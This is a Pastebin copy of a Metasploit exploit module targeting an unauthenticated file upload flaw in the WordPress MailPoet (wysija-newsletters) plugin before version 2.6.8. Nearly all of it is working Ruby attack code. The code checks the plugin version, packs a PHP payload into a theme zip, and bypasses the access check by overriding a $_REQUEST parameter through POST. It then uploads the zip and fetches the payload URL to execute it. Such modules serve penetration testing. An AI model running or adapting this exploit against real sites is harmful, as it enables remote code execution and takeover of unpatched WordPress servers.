Advertisement
egy-mast3r

Wordpress MailPoet (wysija-newsletters) Unauthenticated File

Jul 7th, 2014
361
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.44 KB | None | 0 0
  1. Overall:
  2. ##
  3. # This module requires Metasploit: http//metasploit.com/download
  4. # Current source: https://github.com/rapid7/metasploit-framework
  5. ##
  6. *
  7. require 'msf/core'
  8. *
  9. class Metasploit3 < Msf::Exploit::Remote
  10. **Rank = ExcellentRanking
  11. *
  12. **include Msf::HTTP::Wordpress
  13. **include Msf::Exploit::FileDropper
  14. *
  15. **def initialize(info = {})
  16. ****super(update_info(info,
  17. ******'Name'********** => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated File Upload',
  18. ******'Description'*** => %q{
  19. **********The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
  20. **********is vulnerable to an unauthenticated file upload. The exploit uses the Upload Theme
  21. **********functionality to upload a zip file containing the payload. The plugin used the
  22. **********admin_init hook, which is also executed for unauthenticated users when accessing
  23. **********a specific URL. The developers tried to fix the vulnerablility
  24. **********in version 2.6.7 but the fix can be bypassed. In PHPs default configuration,
  25. **********a POST variable overwrites a GET variable in the $_REQUEST array. The plugin
  26. **********uses $_REQUEST to check for access rights. By setting the POST parameter to
  27. **********something not beginning with 'wysija_', the check is bypassed. Wordpress uses
  28. **********the $_GET array to determine the page and is so not affected by this.
  29. ******},
  30. ******'Author'******** =>
  31. ********[
  32. **********'Marc-Alexandre Montpas', # initial discovery
  33. **********'Christian Mehlmauer'**** # metasploit module
  34. ********],
  35. ******'License'******* => MSF_LICENSE,
  36. ******'References'**** =>
  37. ********[
  38. **********[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
  39. **********[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
  40. **********[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
  41. ********],
  42. ******'Privileged'**** => false,
  43. ******'Platform'****** => ['php'],
  44. ******'Arch'********** => ARCH_PHP,
  45. ******'Targets'******* => [ ['wysija-newsletters < 2.6.8', {}] ],
  46. ******'DefaultTarget'* => 0,
  47. ******'DisclosureDate' => 'Jul 1 2014'))
  48. **end
  49. *
  50. **def create_zip_file(theme_name, payload_name)
  51. ****# the zip file must match the following:
  52. ****#* -) Exactly one folder representing the theme name
  53. ****#* -) A style.css in the theme folder
  54. ****#* -) Additional files in the folder
  55. *
  56. ****content = {
  57. ******::File.join(theme_name, 'style.css') => '',
  58. ******::File.join(theme_name, payload_name) => payload.encoded
  59. ****}
  60. *
  61. ****zip_file = Rex::Zip::Archive.new
  62. ****content.each_pair do |name, content|
  63. ******zip_file.add_file(name, content)
  64. ****end
  65. *
  66. ****zip_file.pack
  67. **end
  68. *
  69. **def check
  70. ****readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
  71. ****res = send_request_cgi({
  72. ******'uri'*** => readme_url,
  73. ******'method' => 'GET'
  74. ****})
  75. ****# no readme.txt present
  76. ****if res.nil? || res.code != 200
  77. ******return Msf::Exploit::CheckCode::Unknown
  78. ****end
  79. *
  80. ****# try to extract version from readme
  81. ****# Example line:
  82. ****# Stable tag: 2.6.6
  83. ****version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
  84. *
  85. ****# readme present, but no version number
  86. ****if version.nil?
  87. ******return Msf::Exploit::CheckCode::Detected
  88. ****end
  89. *
  90. ****print_status("#{peer} - Found version #{version} of the plugin")
  91. *
  92. ****if Gem::Version.new(version) < Gem::Version.new('2.6.8')
  93. ******return Msf::Exploit::CheckCode::Appears
  94. ****else
  95. ******return Msf::Exploit::CheckCode::Safe
  96. ****end
  97. **end
  98. *
  99. **def exploit
  100. ****theme_name = rand_text_alpha(10)
  101. ****payload_name = "#{rand_text_alpha(10)}.php"
  102. *
  103. ****zip_content = create_zip_file(theme_name, payload_name)
  104. *
  105. ****uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
  106. *
  107. ****data = Rex::MIME::Message.new
  108. ****data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
  109. ****data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
  110. ****data.add_part('themeupload', nil, nil, 'form-data; name="action"')
  111. ****data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
  112. ****data.add_part(rand_text_alpha(10), nil, nil, 'form-data; name="page"')
  113. ****post_data = data.to_s
  114. *
  115. ****payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
  116. *
  117. ****print_status("#{peer} - Uploading payload to #{payload_uri}")
  118. ****res = send_request_cgi({
  119. ******'method'** => 'POST',
  120. ******'uri'***** => uri,
  121. ******'ctype'*** => "multipart/form-data; boundary=#{data.bound}",
  122. ******'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
  123. ******'data'**** => post_data
  124. ****})
  125. *
  126. ****if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
  127. ******fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
  128. ****end
  129. *
  130. ****# Files to cleanup (session is dropped in the created folder):
  131. ****#** style.css
  132. ****#** the payload
  133. ****#** the theme folder (manual cleanup)
  134. ****register_files_for_cleanup('style.css', payload_name)
  135. *
  136. ****print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
  137. *
  138. ****print_status("#{peer} - Executing payload #{payload_uri}")
  139. ****res = send_request_cgi({
  140. ******'uri'*** => payload_uri,
  141. ******'method' => 'GET'
  142. ****})
  143. **end
  144. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement